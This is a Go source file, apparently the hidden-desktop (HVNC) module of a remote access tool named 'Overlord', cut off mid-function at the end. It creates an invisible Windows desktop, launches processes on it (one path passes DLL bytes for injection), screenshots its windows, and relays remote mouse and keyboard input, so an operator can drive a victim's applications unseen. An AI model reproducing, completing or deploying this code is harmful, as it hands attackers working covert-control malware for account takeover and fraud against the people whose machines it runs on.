//go:build windows package capture import ( "fmt" "image" "log" "runtime" "strings" "sync" "sync/atomic" "syscall" "time" "unsafe" ) var ( procCreateDesktopW = user32.NewProc("CreateDesktopW") procOpenDesktopW = user32.NewProc("OpenDesktopW") procCloseDesktop = user32.NewProc("CloseDesktop") procSetThreadDesktop = user32.NewProc("SetThreadDesktop") procGetThreadDesktop = user32.NewProc("GetThreadDesktop") procSwitchDesktop = user32.NewProc("SwitchDesktop") procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") procGetDesktopWindow = user32.NewProc("GetDesktopWindow") procGetWindowRect = user32.NewProc("GetWindowRect") procIsWindowVisible = user32.NewProc("IsWindowVisible") procPrintWindow = user32.NewProc("PrintWindow") procGetWindow = user32.NewProc("GetWindow") procGetTopWindow = user32.NewProc("GetTopWindow") procCreateProcessW = kernel32.NewProc("CreateProcessW") procSendInputHVNC = user32.NewProc("SendInput") procGetCursorPosHVNC = user32.NewProc("GetCursorPos") procWindowFromPoint = user32.NewProc("WindowFromPoint") procScreenToClient = user32.NewProc("ScreenToClient") procPostMessageW = user32.NewProc("PostMessageW") procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW") procSetWindowPos = user32.NewProc("SetWindowPos") procSetForegroundWindow = user32.NewProc("SetForegroundWindow") procSetActiveWindow = user32.NewProc("SetActiveWindow") procSetFocus = user32.NewProc("SetFocus") procGetForegroundWindow = user32.NewProc("GetForegroundWindow") procGetAncestor = user32.NewProc("GetAncestor") procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") procToUnicode = user32.NewProc("ToUnicode") procGetWindowPlacement = user32.NewProc("GetWindowPlacement") procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") ) const ( DESKTOP_READOBJECTS = 0x0001 DESKTOP_CREATEWINDOW = 0x0002 DESKTOP_CREATEMENU = 0x0004 DESKTOP_HOOKCONTROL = 0x0008 DESKTOP_JOURNALRECORD = 0x0010 DESKTOP_JOURNALPLAYBACK = 0x0020 DESKTOP_ENUMERATE = 0x0040 DESKTOP_WRITEOBJECTS = 0x0080 DESKTOP_SWITCHDESKTOP = 0x0100 GENERIC_ALL = 0x10000000 DESKTOP_ALL_ACCESS = DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_ALL GW_HWNDFIRST = 0 GW_HWNDLAST = 1 GW_HWNDNEXT = 2 GW_HWNDPREV = 3 PW_RENDERFULLCONTENT = 0x00000002 STARTF_USEPOSITION = 0x00000004 CREATE_NEW_CONSOLE = 0x00000010 MOUSEEVENTF_MOVE = 0x0001 MOUSEEVENTF_LEFTDOWN = 0x0002 MOUSEEVENTF_LEFTUP = 0x0004 MOUSEEVENTF_RIGHTDOWN = 0x0008 MOUSEEVENTF_RIGHTUP = 0x0010 MOUSEEVENTF_MIDDLEDOWN = 0x0020 MOUSEEVENTF_MIDDLEUP = 0x0040 MOUSEEVENTF_WHEEL = 0x0800 MOUSEEVENTF_ABSOLUTE = 0x8000 INPUT_MOUSE = 0 INPUT_KEYBOARD = 1 KEYEVENTF_KEYUP = 0x0002 VK_SHIFT = 0x10 VK_CONTROL = 0x11 VK_MENU = 0x12 VK_CAPITAL = 0x14 VK_LSHIFT = 0xA0 VK_RSHIFT = 0xA1 VK_LCONTROL = 0xA2 VK_RCONTROL = 0xA3 VK_LMENU = 0xA4 VK_RMENU = 0xA5 WM_MOUSEMOVE = 0x0200 WM_LBUTTONDOWN = 0x0201 WM_LBUTTONUP = 0x0202 WM_RBUTTONDOWN = 0x0204 WM_RBUTTONUP = 0x0205 WM_MBUTTONDOWN = 0x0207 WM_MBUTTONUP = 0x0208 WM_NCHITTEST = 0x0084 WM_NCLBUTTONDOWN = 0x00A1 WM_NCLBUTTONUP = 0x00A2 WM_CLOSE = 0x0010 WM_DESTROY = 0x0002 WM_SYSCOMMAND = 0x0112 WM_KEYDOWN = 0x0100 WM_KEYUP = 0x0101 WM_CHAR = 0x0102 WM_MOUSEWHEEL = 0x020A MK_LBUTTON = 0x0001 MK_RBUTTON = 0x0002 MK_MBUTTON = 0x0010 WHEEL_DELTA = 120 HTCAPTION = 2 HTCLIENT = 1 HTCLOSE = 20 HTMINBUTTON = 8 HTMAXBUTTON = 9 HTLEFT = 10 HTRIGHT = 11 HTTOP = 12 HTTOPLEFT = 13 HTTOPRIGHT = 14 HTBOTTOM = 15 HTBOTTOMLEFT = 16 HTBOTTOMRIGHT = 17 SC_MINIMIZE = 0xF020 SC_MAXIMIZE = 0xF030 SC_RESTORE = 0xF120 SW_SHOWMAXIMIZED = 3 GA_ROOT = 2 SMTO_ABORTIFHUNG = 0x0002 ) var ( hvncDesktopHandle uintptr hvncDesktopMu sync.Mutex hvncDesktopName = "OverlordHiddenDesktop" hvncInitialized bool hvncOriginalDesktop uintptr hvncCursorEnabled bool hvncThreadOnce sync.Once hvncThreadErr error hvncThreadReady chan struct{} hvncThreadTasks chan hvncTask hvncWatchdogOnce sync.Once hvncNoWindowLogNs atomic.Int64 hvncInputMu sync.Mutex hvncLastCursor point hvncHasCursor bool hvncWorkingWindow uintptr hvncShiftDown bool hvncCtrlDown bool hvncAltDown bool hvncCapsLock bool hvncMovingWindow bool hvncMoveOffset point hvncWindowSize point hvncWindowToMove uintptr hvncMouseButtons uint32 hvncPendingActivate uintptr hvncExplorerStarted bool hvncTaskSeq atomic.Uint64 hvncCurrentTaskID atomic.Uint64 hvncCurrentTaskKind atomic.Int64 hvncCurrentTaskNs atomic.Int64 // Capture cache: pooled DC/DIB per window to avoid per-frame allocation hvncWinCache map[uintptr]*hvncWinCacheEntry hvncWinCachePrev []byte hvncCompHdcMem uintptr hvncCompHbmp uintptr hvncCompBits unsafe.Pointer hvncCompW int hvncCompH int hvncPendingMouseMove *hvncTask hvncPendingMoveMu sync.Mutex ) type hvncTaskKind int const ( hvncTaskCapture hvncTaskKind = iota hvncTaskStartProcess hvncTaskStartProcessInjected hvncTaskMouseMove hvncTaskMouseDown hvncTaskMouseUp hvncTaskKeyDown hvncTaskKeyUp hvncTaskMouseWheel hvncTaskAutoStartExplorer ) type hvncTask struct { kind hvncTaskKind id uint64 display int filePath string x int32 y int32 button int vk uint16 delta int32 dllBytes []byte searchPath string replacePath string queuedAt time.Time resp chan hvncTaskResult } type hvncTaskResult struct { img *image.RGBA err error } type startupInfo struct { cb uint32 lpReserved *uint16 lpDesktop *uint16 lpTitle *uint16 dwX uint32 dwY uint32 dwXSize uint32 dwYSize uint32 dwXCountChars uint32 dwYCountChars uint32 dwFillAttribute uint32 dwFlags uint32 wShowWindow uint16 cbReserved2 uint16 lpReserved2 *byte hStdInput uintptr hStdOutput uintptr hStdErr uintptr } type processInformation struct { hProcess uintptr hThread uintptr dwProcessId uint32 dwThreadId uint32 } type mouseInput struct { dx int32 dy int32 mouseData uint32 dwFlags uint32 time uint32 dwExtraInfo uintptr } type hvncWinCacheEntry struct { hdcMem uintptr hbmp uintptr bits unsafe.Pointer w, h int lastOK bool age int } type keybdInput struct { wVk uint16 wScan uint16 dwFlags uint32 time uint32 dwExtraInfo uintptr } type input struct { inputType uint32 union [24]byte } func getCurrentThreadId() uint32 { r, _, _ := procGetCurrentThreadId.Call() return uint32(r) } func getThreadDesktop(threadId uint32) uintptr { r, _, _ := procGetThreadDesktop.Call(uintptr(threadId)) return r } func isWindowVisible(hwnd uintptr) bool { r, _, _ := procIsWindowVisible.Call(hwnd) return r != 0 } func printWindow(hwnd, hdc uintptr, flags uint32) bool { r, _, _ := procPrintWindow.Call(hwnd, hdc, uintptr(flags)) return r != 0 } func getWindow(hwnd uintptr, cmd uint32) uintptr { r, _, _ := procGetWindow.Call(hwnd, uintptr(cmd)) return r } func getTopWindow(hwnd uintptr) uintptr { r, _, _ := procGetTopWindow.Call(hwnd) return r } func InitializeHVNCDesktop() error { hvncDesktopMu.Lock() defer hvncDesktopMu.Unlock() if hvncInitialized && hvncDesktopHandle != 0 { return nil } threadId := getCurrentThreadId() hvncOriginalDesktop = getThreadDesktop(threadId) desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) if err != nil { return fmt.Errorf("failed to convert desktop name: %v", err) } r, _, _ := procOpenDesktopW.Call( uintptr(unsafe.Pointer(desktopNamePtr)), 0, 0, uintptr(DESKTOP_ALL_ACCESS), ) if r == 0 { r, _, err = procCreateDesktopW.Call( uintptr(unsafe.Pointer(desktopNamePtr)), 0, 0, 0, uintptr(DESKTOP_ALL_ACCESS), 0, ) if r == 0 { return fmt.Errorf("failed to create hidden desktop: %v", err) } } hvncDesktopHandle = r hvncInitialized = true return nil } func CleanupHVNCDesktop() { hvncDesktopMu.Lock() defer hvncDesktopMu.Unlock() for _, entry := range hvncWinCache { hvncFreeCacheEntry(entry) } hvncWinCache = nil hvncWinCachePrev = nil if hvncCompHbmp != 0 { deleteObject(hvncCompHbmp) hvncCompHbmp = 0 } if hvncCompHdcMem != 0 { deleteDC(hvncCompHdcMem) hvncCompHdcMem = 0 } hvncCompBits = nil hvncCompW = 0 hvncCompH = 0 hvncInputMu.Lock() hvncShiftDown = false hvncCtrlDown = false hvncAltDown = false hvncCapsLock = false hvncMouseButtons = 0 hvncHasCursor = false hvncWorkingWindow = 0 hvncInputMu.Unlock() if hvncDesktopHandle != 0 { if hvncOriginalDesktop != 0 { procSetThreadDesktop.Call(hvncOriginalDesktop) } procCloseDesktop.Call(hvncDesktopHandle) hvncDesktopHandle = 0 } hvncInitialized = false hvncExplorerStarted = false if hvncThreadTasks != nil { close(hvncThreadTasks) hvncThreadTasks = nil } hvncThreadReady = nil hvncThreadErr = nil hvncThreadOnce = sync.Once{} hvncWatchdogOnce = sync.Once{} } func SetHVNCCursorCapture(enabled bool) { hvncCursorEnabled = enabled } func hvncDesktopBounds() (image.Rectangle, bool) { hwnd, _, _ := procGetDesktopWindow.Call() if hwnd == 0 { return image.Rectangle{}, false } var r rect ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) if ok == 0 { return image.Rectangle{}, false } if r.right <= r.left || r.bottom <= r.top { return image.Rectangle{}, false } return image.Rect(int(r.left), int(r.top), int(r.right), int(r.bottom)), true } func ensureHVNCThread() error { hvncDesktopMu.Lock() desktopHandle := hvncDesktopHandle hvncDesktopMu.Unlock() if desktopHandle == 0 { return fmt.Errorf("hvnc desktop not initialized") } hvncThreadOnce.Do(func() { hvncThreadReady = make(chan struct{}) hvncThreadTasks = make(chan hvncTask) hvncWatchdogOnce.Do(func() { go hvncThreadWatchdog() }) go func(handle uintptr) { defer recoverAndLog("hvnc desktop thread", nil) runtime.LockOSThread() defer runtime.UnlockOSThread() r, _, err := procSetThreadDesktop.Call(handle) if r == 0 { hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err) close(hvncThreadReady) for task := range hvncThreadTasks { task.resp <- hvncTaskResult{nil, hvncThreadErr} } return } close(hvncThreadReady) for task := range hvncThreadTasks { start := time.Now() hvncCurrentTaskID.Store(task.id) hvncCurrentTaskKind.Store(int64(task.kind)) hvncCurrentTaskNs.Store(start.UnixNano()) if shouldTraceHVNCTask(task.kind) { log.Printf("hvnc task: start id=%d kind=%s queued=%s details=%s", task.id, hvncTaskKindName(task.kind), start.Sub(task.queuedAt).Round(time.Millisecond), hvncTaskDetails(task)) } var result hvncTaskResult switch task.kind { case hvncTaskStartProcess: result.err = startHVNCProcessOnThread(task.filePath) case hvncTaskStartProcessInjected: result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath) case hvncTaskMouseMove: result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: result.err = hvncMouseButtonOnThread(task.button, true) case hvncTaskMouseUp: result.err = hvncMouseButtonOnThread(task.button, false) case hvncTaskKeyDown: result.err = hvncKeyOnThread(task.vk, true) case hvncTaskKeyUp: result.err = hvncKeyOnThread(task.vk, false) case hvncTaskMouseWheel: result.err = hvncMouseWheelOnThread(task.delta) case hvncTaskAutoStartExplorer: result.err = hvncAutoStartExplorerOnThread() default: result.img, result.err = hvncCaptureDisplayOnThread(task.display) } dur := time.Since(start) if shouldTraceHVNCTask(task.kind) || dur > 400*time.Millisecond { if result.err != nil { log.Printf("hvnc task: done id=%d kind=%s dur=%s err=%v", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond), result.err) } else { log.Printf("hvnc task: done id=%d kind=%s dur=%s", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond)) } } hvncCurrentTaskNs.Store(0) hvncCurrentTaskKind.Store(-1) hvncCurrentTaskID.Store(0) task.resp <- result } }(desktopHandle) }) if hvncThreadReady != nil { <-hvncThreadReady } return hvncThreadErr } func hvncCaptureDisplay(display int) (*image.RGBA, error) { if err := ensureHVNCThread(); err != nil { return nil, err } resp := make(chan hvncTaskResult, 1) hvncThreadTasks <- hvncTask{kind: hvncTaskCapture, display: display, resp: resp} result := <-resp return result.img, result.err } func StartHVNCProcess(filePath string) error { if filePath == "" { return fmt.Errorf("empty file path") } result, err := executeHVNCTask(hvncTask{ kind: hvncTaskStartProcess, filePath: strings.TrimSpace(filePath), }, 10*time.Second) if err != nil { return err } return result.err } func HVNCAutoStartExplorer() error { if hvncExplorerStarted { return nil } result, err := executeHVNCTask(hvncTask{ kind: hvncTaskAutoStartExplorer, }, 15*time.Second) if err != nil { return err } return result.err } func HVNCInputMouseMove(display int, x, y int32) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) if err != nil { return err } return result.err } func HVNCInputMouseDown(button int) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseDown, button: button}, 3*time.Second) if err != nil { return err } return result.err } func HVNCInputMouseUp(button int) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseUp, button: button}, 3*time.Second) if err != nil { return err } return result.err } func HVNCInputKeyDown(vk uint16) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyDown, vk: vk}, 3*time.Second) if err != nil { return err } return result.err } func HVNCInputKeyUp(vk uint16) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyUp, vk: vk}, 3*time.Second) if err != nil { return err } return result.err } func HVNCInputMouseWheel(delta int32) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseWheel, delta: delta}, 3*time.Second) if err != nil { return err } return result.err } func executeHVNCTask(task hvncTask, timeout time.Duration) (hvncTaskResult, error) { if err := ensureHVNCThread(); err != nil { return hvncTaskResult{}, err } if hvncThreadTasks == nil { return hvncTaskResult{}, fmt.Errorf("hvnc thread not available") } if timeout <= 0 { timeout = 3 * time.Second } task.resp = make(chan hvncTaskResult, 1) task.id = hvncTaskSeq.Add(1) task.queuedAt = time.Now() timer := time.NewTimer(timeout) defer timer.Stop() select { case hvncThreadTasks <- task: case <-timer.C: log.Printf("hvnc input: task enqueue timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) return hvncTaskResult{}, fmt.Errorf("hvnc task queue timed out") } select { case result := <-task.resp: return result, nil case <-timer.C: log.Printf("hvnc input: task execution timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) return hvncTaskResult{}, fmt.Errorf("hvnc task execution timed out") } } func hvncThreadWatchdog() { ticker := time.NewTicker(2 * time.Second) defer ticker.Stop() for range ticker.C { id := hvncCurrentTaskID.Load() if id == 0 { continue } startNs := hvncCurrentTaskNs.Load() if startNs == 0 { continue } running := time.Since(time.Unix(0, startNs)) if running >= 2*time.Second { kind := hvncTaskKindName(hvncTaskKind(hvncCurrentTaskKind.Load())) log.Printf("hvnc watchdog: thread appears stuck id=%d kind=%s running=%s", id, kind, running.Round(time.Millisecond)) } } } func shouldTraceHVNCTask(kind hvncTaskKind) bool { switch kind { case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer: return true default: return false } } func hvncTaskKindName(kind hvncTaskKind) string { switch kind { case hvncTaskCapture: return "capture" case hvncTaskStartProcess: return "start_process" case hvncTaskStartProcessInjected: return "start_process_injected" case hvncTaskMouseMove: return "mouse_move" case hvncTaskMouseDown: return "mouse_down" case hvncTaskMouseUp: return "mouse_up" case hvncTaskKeyDown: return "key_down" case hvncTaskKeyUp: return "key_up" case hvncTaskMouseWheel: return "mouse_wheel" case hvncTaskAutoStartExplorer: return "auto_start_explorer" default: return fmt.Sprintf("unknown(%d)", kind) } } func hvncTaskDetails(task hvncTask) string { switch task.kind { case hvncTaskMouseDown, hvncTaskMouseUp: return fmt.Sprintf("button=%d", task.button) case hvncTaskKeyDown, hvncTaskKeyUp: return fmt.Sprintf("vk=%d", task.vk) case hvncTaskMouseWheel: return fmt.Sprintf("delta=%d", task.delta) case hvncTaskStartProcess: return fmt.Sprintf("cmd=%q", task.filePath) case hvncTaskStartProcessInjected: return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes)) default: return "" } } func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { captureMu.Lock() defer captureMu.Unlock() setDPIAware() maxDisplays := displayCount() if maxDisplays <= 0 { maxDisplays = 1 } if display < 0 || display >= maxDisplays { log.Printf("hvnc capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1) display = 0 } bounds, boundsSource := hvncResolveCaptureBounds(display) srcW := bounds.Dx() srcH := bounds.Dy() if srcW <= 0 || srcH <= 0 { log.Printf("hvnc capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds) return nil, syscall.EINVAL } userScale := effectiveScale(srcW, srcH) dstW := int(float64(srcW) * userScale) dstH := int(float64(srcH) * userScale) if dstW <= 0 || dstH <= 0 { dstW = srcW dstH = srcH } capW := srcW capH := srcH hdcScreen := getDC(0) if hdcScreen == 0 { return nil, syscall.EINVAL } defer releaseDC(0, hdcScreen) hdcMem := createCompatibleDC(hdcScreen) if hdcMem == 0 { return nil, syscall.EINVAL } defer deleteDC(hdcMem) bmi := bitmapInfo{ bmiHeader: bitmapInfoHeader{ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), biWidth: int32(capW), biHeight: -int32(capH), biPlanes: 1, biBitCount: 32, biCompression: BI_RGB, }, } var bits unsafe.Pointer hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) if hbmp == 0 || bits == nil { return nil, syscall.EINVAL } selectObject(hdcMem, hbmp) buf := unsafe.Slice((*byte)(bits), capW*capH*4) for i := range buf { buf[i] = 0 } drawn := drawHVNCWindowsToBuffer(hdcScreen, bounds, buf, capW*4) if drawn == 0 { now := time.Now().UnixNano() last := hvncNoWindowLogNs.Load() if now-last > int64(5*time.Second) && hvncNoWindowLogNs.CompareAndSwap(last, now) { log.Printf("hvnc capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds) } } swapRB(buf) img := image.NewRGBA(image.Rect(0, 0, capW, capH)) copy(img.Pix, buf) deleteObject(hbmp) if hvncCursorEnabled { DrawCursorOnImage(img, bounds) } if dstW != capW || dstH != capH { img = resizeNearest(img, dstW, dstH) } return img, nil } func startHVNCProcessOnThread(filePath string) error { if filePath == "" { return fmt.Errorf("empty file path") } desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) if err != nil { return fmt.Errorf("failed to convert desktop name: %v", err) } cmdLine, err := syscall.UTF16FromString(filePath) if err != nil { return fmt.Errorf("failed to convert command line: %v", err) } var si startupInfo var pi processInformation si.cb = uint32(unsafe.Sizeof(si)) si.lpDesktop = desktopNamePtr si.dwX = 0 si.dwY = 0 si.dwFlags = STARTF_USEPOSITION ret, _, callErr := procCreateProcessW.Call( 0, uintptr(unsafe.Pointer(&cmdLine[0])), 0, 0, 0, uintptr(CREATE_NEW_CONSOLE), 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)), ) if ret == 0 { if callErr != nil { return fmt.Errorf("CreateProcess failed: %v", callErr) } return fmt.Errorf("CreateProcess failed") } return nil } func hvncAutoStartExplorerOnThread() error { if hvncExplorerStarted { return nil } if isExplorerRunningToolhelp() { log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start") hvncExplorerStarted = true return nil } log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") err := startHVNCProcessOnThread("explorer.exe") if err != nil { return fmt.Errorf("auto-start explorer failed: %w", err) } hvncExplorerStarted = true return nil } func isExplorerPID(pid uint32) bool { const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 hProc, _, _ := kernel32.NewProc("OpenProcess").Call( PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid), ) if hProc == 0 { return false } defer procCloseHandle.Call(hProc) var buf [260]uint16 size := uint32(len(buf)) ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call( hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)), ) if ret == 0 { return false } name := strings.ToLower(syscall.UTF16ToString(buf[:size])) return strings.HasSuffix(name, `\explorer.exe`) } func isExplorerRunningToolhelp() bool { const TH32CS_SNAPPROCESS = 0x00000002 snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0) if snap == 0 || snap == ^uintptr(0) { return false } defer procCloseHandle.Call(snap) type processEntry32 struct { dwSize uint32 cntUsage uint32 th32ProcessID uint32 th32DefaultHeapID uintptr th32ModuleID uint32 cntThreads uint32 th32ParentProcessID uint32 pcPriClassBase int32 dwFlags uint32 szExeFile [260]uint16 } var pe processEntry32 pe.dwSize = uint32(unsafe.Sizeof(pe)) ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe))) for ret != 0 { name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:])) if name == "explorer.exe" { return true } pe.dwSize = uint32(unsafe.Sizeof(pe)) ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe))) } return false } func hvncMouseMoveOnThread(display int, x, y int32) error { bounds, _ := hvncResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { hvncInputMu.Lock() hvncLastCursor = point{x: x, y: y} hvncHasCursor = true hvncInputMu.Unlock() return nil } absX := bounds.Min.X + int(x) absY := bounds.Min.Y + int(y) if absX < bounds.Min.X { absX = bounds.Min.X } if absY < bounds.Min.Y { absY = bounds.Min.Y } if absX >= bounds.Max.X { absX = bounds.Max.X - 1 } if absY >= bounds.Max.Y { absY = bounds.Max.Y - 1 } hvncInputMu.Lock() hvncLastCursor = point{x: int32(absX), y: int32(absY)} hvncHasCursor = true hvncInputMu.Unlock() moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)}) pt := point{x: int32(absX), y: int32(absY)} hitHwnd := windowFromPoint(pt) if hitHwnd != 0 { rememberWorkingWindow(hitHwnd) clientPt := pt procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt) } return nil } func hvncMouseButtonOnThread(button int, down bool) error { pt := currentHVNCCursor() if button == 0 && !down { endHVNCWindowDrag(pt) } hitHwnd := windowFromPoint(pt) if hitHwnd == 0 { return nil } rememberWorkingWindow(hitHwnd) if button == 0 { lparam := makeLParam(pt.x, pt.y) hitTest := safeNCHitTest(hitHwnd, lparam) if hitTest != HTCLIENT && hitTest != 0 { if hitTest == HTCLOSE && !down { procPostMessageW.Call(hitHwnd, WM_CLOSE, 0, 0) procPostMessageW.Call(hitHwnd, WM_DESTROY, 0, 0) return nil } if hitTest == HTCAPTION { if down { var r rect if ok, _, _ := procGetWindowRect.Call(hitHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 { hvncInputMu.Lock() hvncMovingWindow = true hvncWindowToMove = hitHwnd hvncMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top} hvncWindowSize = point{x: r.right - r.left, y: r.bottom - r.top} hvncInputMu.Unlock() } } return nil } if hitTest == HTMAXBUTTON && !down { if isWindowMaximized(hitHwnd) { procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_RESTORE, 0) } else { procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0) } return nil } if hitTest == HTMINBUTTON && !down { procPostMessageW.Call(hitHwnd, WM_SYSCOMMAND, SC_MINIMIZE, 0) return nil } } } clientPt := pt procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) var msg uint32 var wparam uintptr switch button { case 0: if down { msg = WM_LBUTTONDOWN wparam = MK_LBUTTON } else { msg = WM_LBUTTONUP wparam = 0 } case 1: if down { msg = WM_MBUTTONDOWN wparam = MK_MBUTTON } else { msg = WM_MBUTTONUP wparam = 0 } case 2: if down { msg = WM_RBUTTONDOWN wparam = MK_RBUTTON } else { msg = WM_RBUTTONUP wparam = 0 } default: return nil } postMouseMessage(hitHwnd, msg, wparam, clientPt) return nil } func hvncKeyOnThread(vk uint16, down bool) error { pt := currentHVNCCursor() hwnd := windowFromPoint(pt) if hwnd == 0 { hwnd = foregroundWindow() } if hwnd == 0 { hwnd = getWorkingWindow() } if hwnd == 0 { return nil } rememberWorkingWindow(rootWindow(hwnd)) updateModifierState(vk, down) if isModifierVK(vk) { return nil } if down { if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { for _, r := range ch { procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1)) } } else { postKeyMessage(hwnd, WM_KEYDOWN, vk) } } else { postKeyMessage(hwnd, WM_KEYUP, vk) } return nil } func foregroundWindow() uintptr { r, _, _ := procGetForegroundWindow.Call() return r } func makeLParam(x, y int32) uintptr { return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF)) } func windowFromPoint(pt point) uintptr { ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt)))) return ret } func rootWindow(hwnd uintptr) uintptr { if hwnd == 0 { return 0 } r, _, _ := procGetAncestor.Call(hwnd, GA_ROOT) if r == 0 { return hwnd } return r } func setWorkingWindow(hwnd uintptr) { if hwnd == 0 { return } rememberWorkingWindow(hwnd) procSetForegroundWindow.Call(hwnd) procSetActiveWindow.Call(hwnd) procSetFocus.Call(hwnd) } func rememberWorkingWindow(hwnd uintptr) { if hwnd == 0 { return } hvncInputMu.Lock() hvncWorkingWindow = hwnd hvncInputMu.Unlock() } func getWorkingWindow() uintptr { hvncInputMu.Lock() defer hvncInputMu.Unlock() return hvncWorkingWindow } func currentHVNCCursor() point { hvncInputMu.Lock() if hvncHasCursor { pt := hvncLastCursor hvncInputMu.Unlock() return pt } hvncInputMu.Unlock() var pt point procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt))) return pt } func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) { procPostMessageW.Call(hwnd, uintptr(msg), wparam, makeLParam(pt.x, pt.y)) } func setPendingActivation(hwnd uintptr) { hvncInputMu.Lock() hvncPendingActivate = hwnd hvncInputMu.Unlock() } func consumePendingActivation() uintptr { hvncInputMu.Lock() defer hvncInputMu.Unlock() hwnd := hvncPendingActivate hvncPendingActivate = 0 return hwnd } func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) { scan := mapVirtualKey(uint32(vk)) lparam := uintptr(1 | (scan << 16)) if msg == WM_KEYUP { lparam |= 1 << 30 lparam |= 1 << 31 } procPostMessageW.Call(hwnd, uintptr(msg), uintptr(vk), lparam) } func setMouseButton(button int, down bool) uint32 { hvncInputMu.Lock() defer hvncInputMu.Unlock() var mask uint32 switch button { case 0: mask = MK_LBUTTON case 1: mask = MK_MBUTTON case 2: mask = MK_RBUTTON default: return hvncMouseButtons } if down { hvncMouseButtons |= mask } else { hvncMouseButtons &^= mask } return hvncMouseButtons } func currentMouseButtons() uint32 { hvncInputMu.Lock() defer hvncInputMu.Unlock() return hvncMouseButtons } func mapVirtualKey(vk uint32) uintptr { r, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0) return r } func virtualKeyToChars(vk uint16) []rune { buf := make([]uint16, 8) state := buildKeyboardState() ret, _, _ := procToUnicode.Call( uintptr(vk), mapVirtualKey(uint32(vk)), uintptr(unsafe.Pointer(&state[0])), uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0, ) if ret == 0 { return nil } if ret < 0 { ret = -ret } return []rune(syscall.UTF16ToString(buf[:ret])) } func isWindowMaximized(hwnd uintptr) bool { type windowPlacement struct { length uint32 flags uint32 showCmd uint32 ptMinPositionX int32 ptMinPositionY int32 ptMaxPositionX int32 ptMaxPositionY int32 rcNormalLeft int32 rcNormalTop int32 rcNormalRight int32 rcNormalBottom int32 } var wp windowPlacement wp.length = uint32(unsafe.Sizeof(wp)) procGetWindowPlacement.Call(hwnd, uintptr(unsafe.Pointer(&wp))) return wp.showCmd == SW_SHOWMAXIMIZED } func safeNCHitTest(hwnd uintptr, lparam uintptr) int32 { const timeoutMs = 75 var result uintptr r, _, _ := procSendMessageTimeoutW.Call( hwnd, WM_NCHITTEST, 0, lparam, SMTO_ABORTIFHUNG, timeoutMs, uintptr(unsafe.Pointer(&result)), ) if r == 0 { return 0 } return int32(result) } func moveHVNCWindowIfDragging(screenPt point) { hvncInputMu.Lock() moving := hvncMovingWindow 